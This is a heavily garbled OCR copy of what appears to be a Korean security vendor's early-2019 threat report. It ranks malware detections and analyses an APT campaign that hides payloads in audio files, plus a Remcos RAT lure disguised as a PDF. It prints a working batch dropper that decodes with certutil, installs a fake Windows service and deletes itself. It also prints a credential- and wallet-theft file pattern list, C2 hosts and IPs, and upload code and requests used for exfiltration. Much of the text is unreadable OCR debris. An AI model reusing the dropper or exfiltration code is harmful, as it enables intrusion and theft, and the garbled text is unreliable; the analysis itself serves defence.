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TOP15
20192 ° Top 15 20191 12 Trojan. Agent .
Mi sc. HackTool . ATop KM5 1,2
GenVariant. Razy.l330B16
- - A 1 . .
4
1 . 1
)
1 - Trojan.Agent.gen Trojan 807,706
2 - Misc.HackTool. AutokMS Trojan 594,093
3 New Gen:Variant.Razy.330116 Trojan 520,348
4 fi1 Trojan.HTML.Ramnit.A Trojan 395,595
5 New Hosts.media.opencandy.com Host 344,075
6 3 Trojan.LNK.Gen Trojan 286,084
7 N1 Trojan.ShadowBrokers.A Trojan 273,494
8 N5 Misc.HackTool. KMSActivator Trojan 205,321
9 N1 Misc.Keygen Trojan 140,039
10 - Misc.Riskware. TunMirror Trojan 122,426
11 N4 Win32.Neshta.A Virus 121,039
12 i3 Worm.ACAD.Kenilfe Worm 114,964
13 New Win32.Ramnit.Dam Virus 106,746
14 N3 Worm.ACAD.Bursted Worm 103,716
15 New Trojan.lframe.KX Trojan 102,660
* - 7 2019 02 0L -~2019 02 28
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' (Threat Inside)
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Transformed) . 3gp .zip'

' ) : china0210' |

‘china’

1. [ 02-27 (%)

5= Aol A=
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E =513914778351(Jia...
2 MEB

FU=2=28H S0 s5HEUM Z2UsFA7| sE L

ot H| H: chinad210
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W EES0- 3|9 AtE Protected zip - 2T
oEll = @R =3 =7 Es%
mEE Y= 2237 T 2R
[#E] 3| 21 At 214590335791 Recodings . mp3 e 2049 2127, 2019-02-20 PM 03:04:26
@D B0+ =213914778351 (liao Hu Interpretor Transformed) .3gp zip - &
oEll = B¥ =3 27| wesg
Teg Uza. g=37| $EB Y
85| 5513914778351 (Jiao Hu Interpretor Transformed) .3gp eHeT 2,049, . 2127, 2019-02-20 PM 03:04:26
[ 3
L
(exe) 'MP3, WAVE J
MP3' , WAVE 32 64 J
BASE64
w [ ™MP3T Offset
145 [F (=) 00000000 41 56 45 66 €D T4 20 RIFFG ..WAVELmE.
v 3 "wave 00000010 2B 00 00 44 BC o0 00 || ......... 4.0
143 [B0(01=)] 00000020 8F 17 00 00 00 00 QO data@ ......
(] 144 [SCHOI) 00000030 00 00 00 00 00 00 00 || vevivnrnrennnnnn
v [ Bitmap 00000040 a0 N 00 ] e
] 129 [EC(EI=) 00000050 oo |[WAVESIH 20H,, || ................
#9130 [B(TI=) 00000060 00 00 00 00 00 00 00 || vevivernrenrnnns
{§ 30994 [FC(TI=) 00000070 00 00 00 00 00 00 00 || .oueuiiiininn..
19 30996 [ZC(0I=)] 00000080 41 41 41 4D 51 45 41 TVNDRGAABALAMOEA
v f]%rsor 00000080 41 41 41 41 41 41 41 AAARACWARARRARRD
30977 [EC(RI=)] DO0000AD 41 ol 1 LWEBAAFARAARARLL
# 30998 (ST 00000080 51“:AB g BASEE4‘1 RAABRAAUARQRATATA
+5 30999 [ZH(I=)] 000000C0 41 56 45 35 61 65 43 . .ABAARRRAVESaeC
b 31000 [SSH(DI=)] 00000000 73 62 41 43 €1 57 74 i
8 143 bin_bases4_decode.cab - O *

ESTsecurity copyright

File Commands Tocls Favorites Options  Help

B almme @

Add  ExtractTo  Test View Delete Find Wizar Info

»»

T |m 143 bin_basefd_deccde.cab - CAB archive, unpacked size 150,528 b ~

Mame Size  Modified - CRC32

== =) Selected 150,528 bytes in 1 file Total 150,528 bytes in 1 file
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WAVE' 143, 144
BASEG4

CAB ,'143
64 'svedll

- ‘Adsvr.dll
MP3

&
A

& Media Player

128 WAVE
CAB(MSCF)

32 'svedll

‘mysong.mp3' J

[

‘sve.dlf 2019 02 21

4-1]

: (XOR 0x25)
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{char =){al + 1);
{{unsigned int}{v2 - 1) >> 1) + 1;

={ulh - 1);
vh > 5F )
—= ?;

*=Ul;

16 *= UG ;
#ylh <= LF)
= uf — LB;

= uf - 55;
[w3] = (v? + uB)

-

Bx25;

b
while { v5 J;
¥

[v3] = 8;

0

result =

*bitcoin* *paypal* *wallet* *.rdp *.vnc *.cer *.spc *.pvk *credit* *bank* *password* *pwd* *.pdf*.doc *.docx * XIS * XIsx
* rar *.zip *.txt *.rtf * jpg *.png *.gif *.htm *.html *.chm *xaml *template *.Ink *.asp *.php
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.pdf
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.Zip
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.1nk

.asp
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dll ,'addr.dat' 1l o 24 (C2)
FTP

- fip.drivehg.com

- blackhat.1apps.com
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&us,
“1bh-dn'"
3111968821 | | »351550B41574C53404D54 0B 46 4ALB | | | S64DMAS27FAS24AS 749 41N
“1]] 190888 | | »740uLaMELDLL51 0B 1444555556 0B464A48 | | | BB OA%HN'",
Bx88u);
wsprintfW{&FileHame, L"%sWtaddr.dat", & Y;
uB = CreateFileW(&FileHame, B@x800008608, 8, 8, 3u, Ax86u, 8);
if € vl == {(HAHDLE}-1 )}
{
= ﬂ;

(&u5);
return (uvoid =}1;
¥
CloseHandle{v@);
result = {uvoid =) {&FileHame, &u3);
u2 = result;
if { result )

1
(result);
(u2);
return (void =)1;

¥

return result;
[ 7 (&)

(C2 I ) 1

, Wp32.txt
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3315 blackhat.1apps.com text/html 1245 bytes syupdate png
3320  blackhat.1apps.com text/html 1245 bytes syupdate png
3323 blackhat.1apps.com text/html 1245 bytes addr png
3330 blackhat.1apps.com text/html 1245 bytes addr.png
3912 blackhat.1apps.com text/html 1245 bytes svupdate.png
3916 blackhat.1apps.com text/html 1245 bytes svupdate.png
3921 blackhat.lapps.com text/html 1245 bytes task.png
3929  blackhat.1apps.com image/png 46 bytes task png
3932  blackhat.1apps.com text/html 1245 bytes wp32 bt
4354 blackhat.1apps.com text/plain 465 kB wp32 txt

</body>

</html>

GET |  /wp32.txt|HTTR/1.1

Connection: Keep-Alive

User-Apgent: Mozilla/4.8 (compatible; MSIE 8.8; Win32)
H05t1 blackhat.lapps.com

HTTP/1.1 288 0K

Content-Type: text/plain

Last-Modified: Thu, 28 Feb 2019 N GMT
Accept-Ranges: bytes

ETag: [N

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

Date: Thu, @7 Mar 2019 N GMT
Content-Length: 465784

TVNDRgAAAADCKgUAAAAAACWAAAAAAAAAAWEBAAEAAAAAAAAACWAAABMAAQAALZKA
AAAAAAAAKEAZmSAADIALT Gxs AMFCIWKY j RwCAQBvtvX98FMeRODg /M5 TWW I gFr7Bs
y 7Y c5TuclY7sxTFiAUugXQnDipWEdk1AErl1zdL KekxBpBzsX58aMFtRgDcYHd nwl(
scmZfB/vedyd7dyFMBh2IUArgMk IAYHxS5ZtkexIZ8tGgQVkzbeqgdla /+0Hc 9+ l+
t7zPgd927 rqrgburgbgqruntovil/dwvEcxwnwp2kcl8rp/7K5r /4Xg79pd 785 jdsz
bdf3tlgll/fgeFIWP1la5trf7R31Z/7wdpf /09H/ 7wREGEV / 5+WrXew/ THT5ilu /wd

[ blackhatlapps.com x 4+

& G @ Z=° 2% | blackhat.1apps.com/... E

——BEGIN CERT IFICATE——

TYHOFRgA A ADCK GUAS A4 A4 Cw A4 8.0 00 00 00 wERS AELA A4 4.0 08 4CTwo 0.0 B A0 I ALIGK &
Adh A0 80 A EAT NS 8030 UG sAM f CHEY | PwCALC ty X95FMePODg M5 W gFr 7Bs
e luc Y Pex TF i LugitnDi pWEdk | AEr | zdLEek xBpBzs X5 0aMFt RoDc Hd w0
scmZf BAve Jed 7y FMBR 2 LA ra Wk | AYHEFtk aw | 25t GalWkzbegZ 1 a,/+CHe O+l +
f7=Pg 4327 rqrqBu rabq runt BeNdwwEcxwnwp 2l Srp/Er /A%9 M Epd 785] dez
Bdf 3t JaW/ foeF AP 65t r 7R3 2 Twd pf A0SH,TwREGED A+ rx Dw T HT 51 WuTwd
T Aoz A0+ d0 ndwlF +2z i cvHEERuu] A9 TuSu9r g+k+z/qr rPLye0vUhu 369694 h

ESTsecurity
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J BASEG4 CAB , wp.dl
wp.dll 2019 02 28 o, 2019 03 01
[ | wp32.txt base6d.cab — O >

File Commands Tools Favorites Opticns Help

e BOm e @

Add Extract To  Test Wiew Celete Find Wizard Info

1 ﬂ wp32.tut basedd cab - CAB archive, unpacked size 610,816 bytes w

Name Size  Modified CRC32

wpdll 610,816 2019-02-28 2% 7:09

- =) Total 610,816 bytes in 1 file

[ 9 Wp32.xt

wp.dil ‘wing.dll 'C\ ProgramData\ Microsoft \ Windows\ Ringtones'

1

. (Chrome), (Opera), () -~ ,

ESTsecuﬂty Copyright 2019 ESTecurity Corp. All rights reserved.



db "694A46GL4N9A56455556 144514, .8

align
db " F96Z24ANANZHINA7OGGHDSTUALNELA7OTAS6HAS 7 A5G 1 HAS14L7O0FBBOF " , 0

; WoogleWChromebtser Datathe_x
align

» “[Chrome]Z>
du . .
align
db 6455556144514, .8
; AppData
align
db “796ASS4B57LLO5764AL351524L0E 7 A7 O0FBBAE ", 0

;. DATA XREF ;_sub_-186874C10+447 0
; Wopera Softwareblx_ x

align

» <[0peral>
du . .
db "URL ".8
align
db " FOUALISAG2LLL AT 6B C 65 FUAS6UALIS1TI6CBS14A574BLAS16856A5D5540, "

db "ASF4UBSF7O6CUBS 1AM NC63 AL FURCG7 9765 1HASTHLL2LE1T" , 0
align ; SoftwarediicrosoftWInternet Explorer#IntelliFormsWStorage2

db ‘webpass::IE Get5torage2: 1',8

[ 10] 4

L. Tactics, Techniques and Procedures (TTPS)

ESRC ' (Operation Blackhat Voice) T
2018 09 27 0

Qo

ESTsecurity
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AhE = 5S4 B E2lL] &6 =A17] HEELICE

) 2uur 2TE (AMB)
Recorded2018_09_26_09_55_PM_aAndroidPhone. zip 448

™ aad

CHAl= O3 0| 87| HER ZNSYFA|7| HHEILICH

2018-09-27 (5)

susiL, XEEE ¥ DY UAP EEAN HSHEE Euse oD

Qis

U HYLHO A0 LY A B3| HEE EAH 2AYLLC
L H|H2 edu2018LICH
[ 11]2018 09 -
2018 . 2019 S, 0
, 2018 WAVE' 1& ] , 134,143, 144
- 134:WAVE
- 143:WAVE 32 CAB BASE64
- 144 :WAVE 64 CAB BASEG4
Cab , WinmgntSve.txt
(install.bat) ‘certutil.exe’ ‘WinmgntSvc.cab' ,
” 9 1
@echo off
‘COPYFILE
C

cd "%AppData%o\ NewWindow'
md DiagSvc > nul

certutil - decode WinmgntSve.txt WinmgntSve.cab > nul

ESTsecurity Copyright 2019 ESTecurity Corp. All rights reserved.
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expand WinmgntSvc.cab - F* DagSvc > nul

move /y DiagSve \ WinmgntSve.dll %systemroot% \ System32 > nul

md %systemroot%o \ System32\ Recovery > nul

move fy DiagSvc \ mscvpl4.dil %esystemroot% \ System32\ Recovery > nul
md %esystemroot%o \ System32\ spool > nul

move fy DiagSvc \ msprxy.dll %systemroot% \ System32\ spool > nul

del f /g WinmgntSvc.cab > nul

del f /g WinmgntSve.txt > nul

rmdir /q DiagSvc > nul

INSTALL

sc create Winmgn1 binpath="%systemroot% \ System32\ svchost.exe - k LocalServiceNetwork” DisplayName=
"Windows Management Instrumentration” > nul

sc description Winmgnl "Provides a common interface and object model to access management information about
operating” > nul

sc stop Winmgn1 > nul

sc config Winmgn1 type= own start= auto error= normal binpath="%systemroot%  \ System32\ svchostexe - k
LocalSewviceNetwork' > nul

reg add "HKLM\ SOFTWARBViicrosoft \ Windows NT\ CurrentVersion\ SvcHost" A LocalServiceNetwork /t
REG_MULTI_SZ /d"Winmgn1" f>nul

reg add "HKLM\ SYSTEM CurrentControlSet\ Services\ Winmgn1 \ Parameters” v ServiceDIl A REG_EXPAND _SZ /d
"Yesystemroot%\ System32\ WinmgntSve.dll' > nul

sc start Winmgn1 > nul
ping -n2127.0.0.1> nul

del /f/q %~dpnx0 > nul

ESTsecurity



CAB

A4

mscvpl4.dil / 2018-09-27 03:03:23 (KST)

, 2018

a

'mscvpl4.dll, msprxy.di, WinmgntSve.dll

2019 3

al,
short loc_184881811
al,

cl, ds:byte_ 18887821[edx]
al,

cl,

cshort loc_18081024

cl,

short loc_186810627

al, cl

al,

edx,
byte_1880A798[esi], al
esi

[ 17

~

'msprxy.dif

€2

- 1952223754

- 201.236.103.27

- 72.68.158.37

. a 'Content- Type: multipartfform - datal

ESTsecurity

36

al,
Short loc_ 10061649
al,

cl, [edx]

al,

cl,

short loc_18881658
cl,

short loc_1888165B

al, cl
al,

byte 1808241B8[edi], al

edx,
edi

Adsvr.dil / 2019-02-21 08:02:51 (KST)



gmemcpy(&pwszHeaders, L"Content- Type: multipartform - data; boundary=", 0x58u);

gmemcpy(&v30, L 67491722032265", OX57u);

gmemcpy((void *)@l + 212), "Content - Type: application/octet - stream\ \ n\n n", 0x2Bu);

gmemcpy((void *)@l + 84), * 67491722032265 \nn", Ox2Eu);

gmemcpy((void *)(@l + 340)," \r\n 67491722032265 - \nn'",0x32u);
sub_1000A9D0(al + 20, al + 468);
sub_1000A9DO(V2, al +596);

strepy_s((char *)(@l + 724), 0x190u, "C ontent - Dispaosition: form - data; name=\"txt\ "; flename=\"";

char v23; // clE1a

int v24; // [sp+8h] [bp-318h]E11

int vw25; s/ [sp+Ch] [bp-314h]E@7

int w26; // [sp+18h] [bp-318h]@9

WCHAR v27; // [sp+18h] [bp-388h]@17

CHAR MultiByteStr[260]; // [sp+118h] [bp-288h]@3
WCHAR pwszHeaders; /7 [sp+21Ch] [bp=184h]@1

char v3d@; // [sp+274h] [bp-ACh]E1

{&pwszHeaders, L"Content-Type: multipart/form-data; boundary=", Bx58u);
{&uw3B, L G7491722832265", Bx57u);
((void *){al1 + 212), "Content-Type: application/octet-streamérinth-¥n™, Bx2Bu);
{({uvoid =)(al + 84), " G74917220832265W ", B8x2Eu);
{({uvoid =){al + 348), "Wr¥n G74017220832265-—%r¥n", B8x32u);
(a1l + 28, a1 + 468);
(2, al + 596);
((char =){al + 724), 8x198u, “"Content-Disposition: form-data; name=W"txtW"; filename
(={const wchar_t ==){al + 88), B8x25Cuj};
vl + 1;
{__dint16 =){u3d + 1);
{inty{uvs + 1);

[ 13)'msprxy.dl
& 2018 02 10 ' ( )
APT "~ J
© 20180207 ( )Xpsvbs ,
(C2) o, 1

ESTsecurity
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POST fupload.php HTTP/1.1
Accept-Encoding: identity
Content-Length:

Content-Type: multipart/form-data; boundary=------------------ 67491722832265
Connection: close

User-fAgent:

———————————————————— B7491722832265

Content-Disposition: form-data; name="Index"

-------------------- 67491722032265

[ 14

ESRC
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shadoc2@chinaseagroup.com
FH: 95t5 N 22l SSHKH8110002

HPWMY MEISA MEQUUCE -- 3/112 2F SAIDA F2AFIAID S8 FUAIL.

1HEFHAHEZ L. SEF0 BS0| A2 L2AFAID sl 228 2140| AW 018 AZUHZHNESHN 0f(d e
HIRE LUANZ A = A ADE REFAaUCH

2. 43S Z2YUN, FOIZASUNAE E I35 S E T3 copys AIFEIGL 2250, Bl 32
AEEICID f2= =BAIEZ 22 APUCH

op

noz

22 ESME 2UT BISA| 43t83 0 RLE shippere] S & R 0{0} 8CH

3. 431 SN0I WOl $SE LIEK + ASUCL BB MBS + AT WD RN BB OIF2E 48BN BASDE
2 2+ gsuct,

A3 Z2E Lol CHEMll Ot 200 0| SLST 2t WO DT S2B XYM ESE B | AolCH

ZEHT Al Lol 43I SA & |AABAR. 2TA B2F RNIRS0IL USISA It 2310 EUCH

220U AL |0 HL] (HFU OHE 20t +YSIACHE A8 Mol 823HA S W HHBE IR, SAlE
SYE YD LU= 0l S0H/EE U sl=0 I3 FHM SAIRIUCH

FOMM B8 838 2Y312B POIM FIOIM 6.83%8 FOIZ A3810, LEIEN KA2AA Of X &3 F=A10] BtEUCE

12 E GARR| "SODIRIM 2eF+F'2 2F IASTUNLSD FRNSFLBP2= HEFD ASUCH

,— 311 5
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2 , 2( copy I
o )
shipper
&
J i 1
4 , J 1
J a a J 0 a
50 |/ 1 ) |
J J l 683% ,

12 'l ' a

h shipper

!
China Sea Marine Co., Ltd.
16F.,N0.525,Si- Chuan North Road,shanghai,china
Tel: + 86 6336 5500 Ext 207/107 QQ: 792180568
Remark: 2019/03/010 1l RMB20/ VGM J
, . 0 pdf ‘ , scr(Screensaver)
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@m0 HMBZREP SSHKHB110002eqg - B
El = B3 =3 =27 E2%
(38 - A wooun HOOIE | P
AL ° ~ © "7 oo b
HENE NEUS Y=R7| TYFT e | 0125
i - = xRS
=% us ¥s . e =3 o=
8 @y s x] oz q U=37| qE37)|
@ MBS ABO! SSHKHE1100( [ 3B AR SSHKHB110002,PDF scr 403,010 643,072
[ 2sor J
ESRC CVE 2017 - 11882 Remcos RAT (v2.20pro)
6
v v_,
strcpy(&Format, |” * REMCOS v");
strcat(&Format, )" 252.8 Pra");
strcat(&Format, "\n * Breaking-Security.Net\n\n");
[ 3]REMCOSV220Pro

'Copyright (C) AhnLab, Inc. 1988- 2016. All rights reserved.'

ESTsecurity copyrignt 2019 ESEecurity Corp. Al rig

hts reserved.
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] H3=AE0! SSHKHS110002,PDF scr.exe 24

gt s3M =9t KNS O HiHE

=4 ot
£3
e 23 ASDF WSC Control Application
£ SE =20
org = 2.5.0.15
HE & ASD Framework
HE H3 250.1
NArA Copyright (C) AhnLab, Inc. 1988-2016. All rights r
37 628KB
8T ER 2019-03-10. 2= 12:01
s Fo@=)

2 E o2 0|E ASDWsc.exe

stol FH= HE(A

- SSHKH8110002,PDF.scr

] scr PDF 4 RAT
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@ REMCOS v2.0 Professional

@ Connections (7) g5y Proxy Servers ) Automatic Tasks {3} Local Settings 3% Agent Buider |[=] EventLog (76) @@ About

Location Assigned Name  Operating System Computer/User System Uptime  Idle time Active Window

[0 Htaty Home-PC Windows 10 Pro (64 bit) DESKTOP-NQS5126... 28 hours 0 mins REMCOS v2.0 Professional
&S United States Lab 1 Windows 7 Ultimate (32 bit) 2 hours C:\Program Files\internet Explorer\iexg
= |1 : RS oo @  Screen Capture

%= United States Lab 2 Microsoft Windows XP (32 bit)

¥ Germany, ... RemoteOffice Windows 7 Ultimate (64 bit)

&= United States Lab 3 Windows 10 Pro Insider Previ...
S United States Lab 4 Windows Server 2012 R2 Dat...
&l china Remote Host Microsoft Windows XP (32 bit)

S mins Windows XP Tour
File Manager

&

2GR E &
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